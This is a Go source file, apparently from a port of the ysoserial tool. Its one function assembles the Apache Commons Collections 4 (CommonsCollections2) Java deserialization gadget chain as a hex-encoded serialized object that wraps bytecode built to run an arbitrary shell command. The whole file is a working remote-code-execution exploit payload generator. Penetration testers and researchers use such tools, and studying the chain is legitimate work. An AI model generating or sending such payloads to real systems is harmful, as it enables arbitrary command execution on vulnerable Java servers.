package gadget

import (
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/ysoserial/util"
)

const CC2 = "CommonsCollections2"

func GetCommonsCollections2(cmd string) []byte {
	globalPrefix := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA" +
		"30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F75" +
		"74696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D" +
		"6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D" +
		"696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E" +
		"00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F" +
		"636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E61706163" +
		"68652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D" +
		"70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E61" +
		"70616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E76" +
		"6F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C" +
		"6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A617661" +
		"2F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C61" +
		"6E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F10" +
		"73296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A617661" +
		"2E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A" +
		"636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C7463" +
		"2E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E" +
		"744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400" +
		"035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470" +
		"757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B7870" +
		"00000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42AC" +
		"F317F8060854E00200007870"
	templateImpl := GetFrohoffTemplateImpl(cmd)
	templateImplStr := hex.EncodeToString(templateImpl)
	length := len(templateImpl)
	lenStr := util.Int32ToBytes(uint32(length))
	globalSuffix := "7571007E0018000001D4CAFEBABE00000032001B0A000300150700170700180700" +
		"1901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75" +
		"650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E65" +
		"4E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973" +
		"010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C" +
		"6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C47" +
		"6164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164" +
		"732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100" +
		"146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F" +
		"6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700" +
		"000002000800010001000A000B0001000C0000002F00010001000000052AB70001B10000000200" +
		"0D0000000600010000003C000E0000000C000100000005000F0012000000020013000000020014" +
		"00110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C" +
		"616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E" +
		"6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178"
	temp := globalPrefix + lenStr + templateImplStr + globalSuffix
	data, _ := hex.DecodeString(temp)
	return data
}
